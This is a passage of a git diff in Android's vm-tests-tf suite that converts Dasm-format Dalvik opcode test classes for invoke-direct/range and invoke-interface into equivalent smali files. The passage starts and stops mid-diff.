index 0e7aab0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_7.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7/toInt()I
-       const v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali
new file mode 100644
index 0000000..cf5bc55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_7.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_7;->toInt()I
+       const v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.d
deleted file mode 100644
index 946c65f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_8.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const/4 v1, 0
-       invoke-direct/range {v1}, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_8/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali
new file mode 100644
index 0000000..a7d04bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_8.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const/4 v1, 0
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_8;->toInt()I
+
+       move-result v0
+       return v0
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d
deleted file mode 100644
index 567bd84..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_9.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_9/toInt()I
-
-       move-result v0
-       return v0
-.end method
-
-
-.method private native toInt()I
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.smali
new file mode 100644
index 0000000..a9a3235
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9;
+.super Ljava/lang/Object;
+.source "T_invoke_direct_range_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private native toInt()I
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    invoke-direct/range {p0 .. p0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_9;->toInt()I
+
+    move-result v0
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.d
deleted file mode 100644
index 72c1843..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_1.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-
-       invoke-interface {v6, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali
new file mode 100644
index 0000000..15c97ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_1.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.d
deleted file mode 100644
index 65ca5f2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_10.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
-.limit regs 8
-       const v6, 1243
-       invoke-interface {v6, v7}, java/lang/Comparable/compareTo(Ljava/lang/Object;)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali
new file mode 100644
index 0000000..02e5bdb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_10.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Comparable;Ljava/lang/Object;)I
+.registers 8
+       const v6, 1243
+       invoke-interface {v6, v7}, Ljava/lang/Comparable;->compareTo(Ljava/lang/Object;)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.d
deleted file mode 100644
index 110d826..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_11.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       invoke-interface {v4}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali
new file mode 100644
index 0000000..828d4b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_11.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.d
deleted file mode 100644
index c623612..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_12.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 5
-
-       invoke-interface {v4}, dot/junit/opcodes/invoke_interface/ITest/doitNative()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali
new file mode 100644
index 0000000..5c7bcbc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_12.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 5
+
+       invoke-interface {v4}, Ldot/junit/opcodes/invoke_interface/ITest;->doitNative()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.d
deleted file mode 100644
index 8d696af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_13.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_13
-.super dot/junit/opcodes/invoke_interface/ITestImplAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_interface/ITestImplAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 7
-
-       invoke-interface {v6}, dot/junit/opcodes/invoke_interface/ITest/doit()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali
new file mode 100644
index 0000000..069f824
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_13.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_13;
+.super  Ldot/junit/opcodes/invoke_interface/ITestImplAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_interface/ITestImplAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 7
+
+       invoke-interface {v6}, Ldot/junit/opcodes/invoke_interface/ITest;->doit()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.d
deleted file mode 100644
index d6ce02a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.d
+++ /dev/null
@@ -1,54 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_14.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)I
-.limit regs 9
-    const v1, 123
-    const v2, 345
-
-    const v4, 64
-    const v5, 2
-    invoke-interface {v8, v4, v5}, dot/junit/opcodes/invoke_interface/ITest/testArgsOrder(II)I
-    move-result v4
-    const v5, 32
-    if-ne v4, v5, Label0
-
-    const v5, 123
-    if-ne v5, v1, Label0
-
-    const v5, 345
-    if-ne v5, v2, Label0
-
-
-    const v0, 1
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali
new file mode 100644
index 0000000..c4d3d7f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_14.smali
@@ -0,0 +1,54 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_14.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)I
+.registers 9
+    const v1, 123
+    const v2, 345
+
+    const v4, 64
+    const v5, 2
+    invoke-interface {v8, v4, v5}, Ldot/junit/opcodes/invoke_interface/ITest;->testArgsOrder(II)I
+    move-result v4
+    const v5, 32
+    if-ne v4, v5, :Label0
+
+    const v5, 123
+    if-ne v5, v1, :Label0
+
+    const v5, 345
+    if-ne v5, v2, :Label0
+
+
+    const v0, 1
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.d
deleted file mode 100644
index 3c972ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_16.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
-.limit regs 6
-
-       const/high16 v3, 1065353216
-       invoke-interface {v5, v3}, dot/junit/opcodes/invoke_interface/ITest/doit(F)V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali
new file mode 100644
index 0000000..a437723
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_16.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ldot/junit/opcodes/invoke_interface/ITest;)V
+.registers 6
+
+       const/high16 v3, 1065353216
+       invoke-interface {v5, v3}, Ldot/junit/opcodes/invoke_interface/ITest;->doit(F)V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.d
deleted file mode 100644
index d974005..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.d
+++ /dev/null
@@ -1,27 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_interface_18.java
-.class public dot.junit.opcodes.invoke_interface.d.T_invoke_interface_18
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-interface {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali
new file mode 100644
index 0000000..b35bd80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_interface/d/T_invoke_interface_18.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_interface_18.java"
+.class  public Ldot/junit/opcodes/invoke_interface/d/T_invoke_interface_18;
